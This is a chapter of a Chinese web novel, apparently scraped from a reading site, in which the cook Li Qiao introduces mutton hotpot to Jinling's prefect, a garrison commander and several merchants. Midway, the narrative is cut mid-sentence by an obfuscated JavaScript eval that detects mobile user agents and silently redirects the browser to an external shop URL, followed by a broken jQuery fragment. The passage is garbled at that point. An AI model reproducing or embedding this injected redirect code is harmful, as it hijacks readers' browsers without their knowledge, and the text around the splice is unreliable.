“徐贤弟啊，让你看笑话了，他们皆是我多年的的好友，平日里玩笑惯了，不要见怪。”说话是一个坐在最上首的中年男子，看起来颇有几分上位者的气势，他看着赵竟思三人拌嘴，转头对着身旁一个面相十分严肃的人说道。
李昌看着三人也是无奈的摇摇头，“好了，菜已经来了，世忠兄就给我个面子试试吧。”说完，对着张璋和李荞眼神示意。
张璋带着李荞给几人亲自上菜，先上来的切好的几大盘羊肉，刚置于桌上就看见赵竟思满意的点点头。
两人动作不停，紧接着又将涮肉的铜锅放到桌子上，然后点上木炭。
“这倒是新奇，川柏兄，那千味楼是当着客人的面烤肉，你这里就干脆将炉子端上桌了吗？”看到铜锅，那个先前帮着赵竟思说话的人直接开口吐槽道。
还好李昌也不生气，仍旧是处变不惊的开口，“这是我楼里的厨子新研究出来的吃法，图个新鲜罢了。”
最后李荞又将麻酱和蒜蓉酱分别用小碟盛放，置于每个人面前。
上完菜，两人就退到一旁候着，留下桌上的众人看着面前的小铜锅啧啧称奇。
“这小炉子还怪是精巧呢。”那人又说。
张璋用胳膊轻轻撞了一下李荞，低声说道，“这位是城北绸缎庄的方老板。”
李荞当即明白了他的意思，上前一步，“回方老板，这道菜名叫火锅，面前这个炉子是用来涮菜的，等到锅开了，就将新鲜的羊肉放进去，不到片刻就能捞起，这样的法子能让人品尝到羊肉最新鲜的口感。”她大致为几人讲述了吃法。
方云山好奇的问道，“你是何人？面生的很啊。”
李荞落落大方的低头行礼：“我叫李荞，是酒楼新招的厨子。”
就在这时，赵竟思将话接了过去，“诸位可不要小瞧了这个小娘子啊，前些日子的炸鸡也是出自她手。”
在座之中，除了前两日刚刚回到金陵的卢世忠，都尝过炸鸡，顿时都对李荞另眼相看起来。
坐在最上首的公孙荣惊讶的开口：“竟是你做出的炸鸡，我的小女儿这这些日子可是最喜欢这道菜了，隔三差五的就得吃上一回呢。”
只有卢世忠不知几人所说的炸鸡是什么，“这又是什么菜呀，这么稀奇，怎么你们都吃过了？”
赵竟思笑着开口，“你一出门就是一两个月，当然不知，这炸鸡是川柏兄这里上个月新推出的菜，很是风靡呢。”
趁着几人都在说话，张璋又悄悄的给李荞介绍了其他几人的身份。
地位最高的无疑是公孙荣，他是金陵的太守大人，在他旁边的叫做徐明，是驻守在这里的总兵，再旁边的就是刚刚问李荞话的那个绸缎庄老板方云山，这人虽地位不如上面两人，但是也不容小觑，他的绸缎生意遍布全国，财力非同一般。
而刚刚那个说话最冲的那个则是卢世忠，是城里威远镖局的老板，他的镖局也在多地设有分部，因此他时常外出到各地察看。
坐在这边的就是赵竟思和李昌了，除了徐明以外，他们几人均是相识多年的好友，而徐明是今年才调派到这里的，在公孙荣的引荐之下，逐渐也与其他几人交好，故经常相约一同饮宴。
说话之间，锅已经开了，李荞便主动上前为几人涮肉，今日还是先以羊尾油开锅。
赵竟思看着李荞的动作有些迫不及待，昨日试菜吃得他是意犹未尽的，直到晚上回去了，心里还惦记着，对着寻常的饭菜竟都没了胃口，只想着何时能再吃一顿，此时看着面前的几大盘肉，心想这回总算能够过足瘾了。
李荞一次性将小半盘都下了进去，又算着时间捞上来，按照座位次序先是分给了公孙荣，然后是徐明，接着是坐在下首的几人。
“两位大人，众位老板，你们面前的一碟是麻酱，一碟是蒜蓉酱，可以按照各人的口味蘸不同的酱。”
赵竟思最先夹起来蘸了一下蒜蓉酱放入口中，然后就是一句满足的叹息，见他的模样，众人纷纷有些好奇，就学着他的样子夹起羊尾油蘸上酱也放入口中。
一进嘴，羊尾油那特殊的口感和油香就铺满了整个口腔，“不错！”
说话的是徐明，他以前在北方呆过一段时间，很喜欢这种大口吃肉的感觉，刚来金陵时他就是千味楼的常客，不过次数多了，总觉得有些烧心，所以这几次才都来了这以清淡著称的迎香阁。
这迎香阁的菜吧，虽然看着精致可口，但吃起来总觉得有些没滋味，唯有一道炸鸡还行，但是今日这个羊尾油着实有些惊艳了，蘸了酱料后一点也不显得油腻，让喜爱吃肉的他也能过一把瘾。
其他几人的反应也是如此，眼中都不约而同的闪过一丝惊艳。
李荞见他们的表情就知道有戏，便继续开始涮肉，又将剩下的肉接连下进去。
赵竟思连续吃了几口，才射得放下筷子，擦了擦嘴问道，“诸位，怎么样啊？”他得意的看向众人。
公孙荣最先点头，“竟思不愧是你啊，果然不错，没想到羊肉还能这么吃呢？”
方云山也看向身旁的卢世忠，故意打趣，“世忠兄怎么不说话，这菜不合你胃口吗？”
此言一出，几人的目光齐齐都看向他，他被看得有些挂不住脸，“我说话了吗？你就给我扣帽子。”先是瞪了方云山一眼，然后又看向对面的李昌，“马马虎虎吧，比你酒楼之前的那些菜好一点。”
李昌闻言笑了，“难得有合世忠胃口的菜，今日可得多饮两杯。”
张璋也适时的上前给几人斟酒。
一口肉，一口酒，实在是快哉！
羊尾油之后当然是吃羊上脑，这也是昨日吃过的羊脖颈上的嫩肉，李荞一边涮肉，一边给几人介绍着羊肉的部位和特点，也是为了不让他们干等着。
等介绍完了肉也差不多可以出锅了，再由李荞平均的分到几人面前的碗里。
“嗯，这肉嫩！”方云山发出一句感叹，他其实对饮食上面没有太多的讲究，平时也是被赵竟思带着四处搜寻好吃的，但实际上对他来说，没有什么特别喜欢的，不过今日这道火锅确实引起了他的兴趣，不光是吃法新鲜，味道也新鲜！
比如刚刚那道羊尾油就是从来没吃过的口感，这个羊上脑也是，从没吃过这么嫩滑的羊肉。
李荞看几人就这样举杯喝酒，忽觉有些可惜，实在是这顿饭来得有些突然，否则自己还能腌一些糖蒜，就着这涮羊肉吃才是绝配。
不过很快她就没时间想这些了，几人都是第一回尝试到这样的吃法，再加上李荞的酱料调的恰到好处，一点也不觉油腻，很快就将李荞涮好的肉吃了个干净。
李荞又端起一盘羊黄瓜条，这是羊后腿内侧中间的肉，也是最精华的部位，这次李荞直接将一整盘的都倒进锅里。
毕竟这个部位的肉可是久煮不老的，而羊肉的鲜味和肉香也最为突出，果然，几人尝到之后都是连声叫好。
“世忠，怎么样？这顿就算我给你接风的了，没忽悠你吧。”赵竟思看卢世忠吃的满嘴流油，心道，这回还看他怎么嘴硬。
“不错，不错，这羊肉吃起来比那烤的还香。”刚刚还是马马虎虎，现在已经变成不错了。
李荞悄悄提醒张璋，又让厨房上了几道爽口的小菜，让几人吃着解解腻，毕竟这可都是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672755|185310||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实打实的纯羊肉啊，一下子吃的太多了也不行。
几道清爽的炒菜只是动了两筷子就没人吃了，反倒是李荞用来配炸鸡的腌萝卜被一筷接一筷的夹着，很快就见了底，还好李荞腌的多，随时都能再上一盘。
等这锅肉也吃的差不多了，李荞又给下了肥嫩的羊腹肉，这个部位的肉是肥肉相间的，很是软嫩。
李荞看着面前的肉即将消耗殆尽，不免有些吃惊，心道这几人可真是能吃啊！
还有最后两盘羊腿肉了，腿肉肉质紧实，需要格外注意涮的时间，不能过久，否则口感就老了。
担心他们不够吃，李荞让张璋吩咐厨房准备一份手擀面，这汤涮完肉之后，再煮点面也是别有一番滋味。
这顿饭吃得十分漫长，中途还加了两回汤和一次炭火。
一直到吃完肉之后，几人满以为这顿饭要结束了，没想到用来收尾的白菜又带来了最后的高潮。普通的白菜而已，换做平日在座的几人都不会吃，但是看见赵竟思一口一筷的吃得津津有味，也试探性的夹起一片放入口中，没想到是别一份的清甜。
最后的手擀面条，更让几人吃的捧腹而出。
这个铜锅仿佛有魔力一般，不管多普通的食材，丢到里面煮一下都成了和平时不同的美味。
送走了几人后，李荞累得直接在椅子上坐下了。
张璋也没好到哪去，他不是第一次接待这几人，但今日不一样，是首次用火锅来招待这几位贵客，对这道菜他还不了解，生怕出了什么岔子，一下也不敢松懈，这会儿结束了也是才感觉到累。
“荞娘子，这火锅怎么感觉吃起来有点麻烦，不能日后每一桌都让你过去烫菜吧。”还是让他发现一个弊病。
李荞：“不用不用，只要培训几个小二就行。只是涮肉需要注意一下时间，其他的都很简单。”
又补充：“刚开始可能不熟悉，等涮肉的次数多了，不要说小二，就连客人都能自己上手，很方便的。”自己那个时代可都是自己动手的，根本不需要服务员帮忙。
张璋惊道，“还能这样？”
李荞没力气和他解释更多了，现在的她急需休息。
“那行吧，这铜锅可以找铁匠铺子多订一些了。”张璋自说自话着接下来的安排。
李荞突然想起，还少了一样东西，“璋少爷，能不能再让铁匠打一些小的漏勺，就小汤勺那个大小的就行。”
张璋奇怪，“要那个做什么？”
李荞：“涮肉啊，把肉放到漏勺里，然后放入汤里面涮着，不是既方便又省力嘛，肉涮好了正好直接盛到客人碗里。”
张璋一下子就脑补出了那副画面，不禁感叹，“荞娘子，你可真是个奇葩啊。”
李荞：……
确定是在夸我吗？
等休息够了回到厨房已经过了吃饭的点了，大伙儿都已经吃过，只剩下一些残羹冷饭，好在小五偷偷的留了一份。
李荞看到端着饭碗的小五感动得不行，仿佛一个欣慰的老母亲，真是为师的好徒儿！
李荞看着吃完饭准备去休息的高大洪，“怎么样，高厨，中午还忙吗？”
高大洪：“还成，你的小徒弟很机灵，省了我不少事。”
李荞得意的点点头，心说，那可是我一把手教出来的，能不机灵吗？
案台上还有剩的炸鸡块，色泽和形状看着自己做的几乎没区别，心想，自己找到了一个强有力的帮手了，只是不知道帮手能不能愿意呢。
这边，正准备休息的高大洪突然打了个喷嚏，然后不由的紧了紧自己的外衣，难道是天气转凉，感染风寒了？